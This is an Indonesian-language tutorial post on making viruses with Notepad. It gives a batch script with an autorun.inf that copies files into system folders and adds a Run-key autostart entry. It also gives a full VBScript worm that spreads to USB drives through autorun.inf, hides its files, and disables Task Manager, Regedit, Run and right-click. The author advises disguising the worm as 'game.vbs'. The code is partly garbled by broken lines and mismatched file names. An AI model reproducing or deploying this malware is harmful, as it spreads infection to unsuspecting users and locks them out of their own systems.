Membuat Virus

CARA MEMBUAT VIRUS DARI NOTEPAD
Ini cara bwt pemula yg pengen bikin virus dari notepad, walaupun nggak terlalu bahaya, tapi lumayan berguna bwt belajar
Pertama, buka notepad, lalu copy-paste (tapi di edit dulu) script dibawah ini:
@echo off
copy (nama gambar).bmp %systemdrive%\ /y
copy (nama gambar).bmp %systemdrive%\WINDOWS\ /y
copy (nama gambar).bmp %systemdrive%\WINDOWS\syst
em32\ /y
copy (file dengan ekstensi *.exe).exe %systemdrive%\ /y
copy (file dengan ekstensi *.exe).exe %systemdrive%\WINDOWS\ /y
copy (file dengan ekstensi *.exe).exe %systemdrive%\WINDOWS\syst em32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWA RE\Microsoft\Windows NT\CurrentVersion\Winlogon ” /v LegalNoticeCaption /d “VIRUS !!!” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWA RE\Microsoft\Windows NT\CurrentVersion\Winlogon ” /v LegalNoticeText /d “Kau harus merestartkan computer !!!” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\syst em32\(nama gambar).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Contr ol Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\syst em32\(nama gambar).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWA RE\Microsoft\Windows\Curre ntVers ion\Run” /v (nama_terserah) /d %systemdrive%\windows\syst em32\(file dengan ekstensi *.exe).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #66FFCC /f

Setelah itu simpan nama file dengan nama virus.bat
kedua, untuk autorun, anda isikan di notepad yang baru seperti dibawah ini:
[autorun]
open=(nama_file).bat
Simpan dgn nama autorun.inf
Jangan lupa file {autorun.inf , virus.bat , (nama gambar).bmp , (file dengan ekstensi *.exe).exe } tsb dijadikan dalam 1 drive (misal : C:/ , D:/ atau didalam CD/DVD )

Selamat Mencoba
~Ivana~


 

Membuat Virus

Cara gampang membuat Virus dengan Notepad


Nnah untuk kali ini dan sekarang saya pengen jelasin nihh cara membuat virus lewat notepad. Ya udah deh langsung aja pada intinya..

Sesuai judulnya, maka kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke tempat colokan flashdisk dengan menyamar sebagai AutoRun sehingga apabila ada yang mencolokkan flash disk ke komputer yang terinfeksi maka akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini berjenis worm. Oke..lahhhhh langsung aja kita praktekin..aja….

‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan
dan kemudian lanjutkan kegiatan virus–//
on error resume next
‘//–Dim
kata-kata berikut ini–//
dim
rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set
sebuah
teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi =
“[autorun]” & vbcrlf & “shellexecute=wscript.exe
game.dll.vbs”
set
fs = createobject(”Scripting.FileSystemObject”)
set mf =
fs.getfile(Wscript.ScriptFullname)
dim text,size
size =
mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do
while not text.atendofstream
rekur = rekur & text.readline
rekur =
rekur & vbcrlf
loop
do
‘//–Copy diri untuk
menjadi file induk di
Windows Path (example: C:\Windows\System32)
Set windowpath
= fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch-
game.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath
& “\batch-
game.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf =
fs.getfile(windowpath & “\batch- Hacker.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis
setiap flash disc
tercolok–//
‘Menyebar ke setiap drive yang bertype 1
dan 2(removable)
termasuk disket
for each flashdrive in fs.drives
‘//–Cek Drive–//
If
(flashdrive.drivetype = 1 or
flashdrive.drivetype = 2) and flashdrive.path
<> “A:” then
‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau
A:\–//
set
tf=fs.getfile(flashdrive.path &”\ Hacker.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path
&”\game.dll.vbs “,2,true)
tf.write rekursif
tf.close
set
tf=fs.getfile(flashdrive.path
&”\ game.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf yang
teks-nya tadi sudah disiapkan (Auto Setup
Information)–//
set tf
=fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set
tf=fs.createtextfile(flashdrive.path
&”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf =
fs.getfile(flashdrive.path
&”\autorun.inf”)
tf.attributes=39
end if
next
‘//–Manipulasi
Registry–//
set kalong =
createobject(”WScript.Shell”)
‘//–Manip –
Ubah Title Internet Explorer
menjadi I AM A VIRUS–//
kalong.regwrite
“HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Window Title”,” I AM AVIRUS “
‘//–Manip – Set agar
file hidden tidak ditampilkan di
Explorer–//
kalong.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,
“0″, “REG_DWORD”
‘//–Manip – Hilangkan menu Find, Folder Options, Run,
dan
memblokir Regedit dan Task Manager–//
kalong.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”,
“1″, “REG_DWORD”
kalong.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”,
“1″, “REG_DWORD”
kalong.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,
“1″, “REG_DWORD”
kalong.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,
“1″, “REG_DWORD”
kalong.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,
“1″, “REG_DWORD”
‘//–Manip – Disable klik kanan–//
kalong.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”,
“1″, “REG_DWORD”
‘//–Manip – Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,
“Bahaya !!! 2012 kiamat. TOLONG…TOLONG”
‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”,
windowpath & “\batch- game.dll.vbs “
‘//–Manip – Ubah
RegisteredOwner
dan Organization–//
kalong.regwrite
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOrganization”, “Ivana Imoet”
kalong.regwrite
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOwner”,”Ivana Imoet”
‘//–Nah kalau kode dibawah
ini
I AM THE VIRUS, I WILL CRASH YOUR COMPUTER–//
if check
<> 1
then
Wscript.sleep 200000
end if
loop while check
<> 1
set
sd = createobject(”Wscript.shell”)
sd.run windowpath
& “\explorer.exe
/e,/select, ” & Wscript.ScriptFullname
‘Akhir
dari Kode

Save Script tersebut di Notepad dengan cara FILE > SAVE AS. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama "game.vbs” gak usah pake( “ )dan usahakan agar tidak mencurigakan aja...
selesai deh, gampoang kan :)

met mencoba :)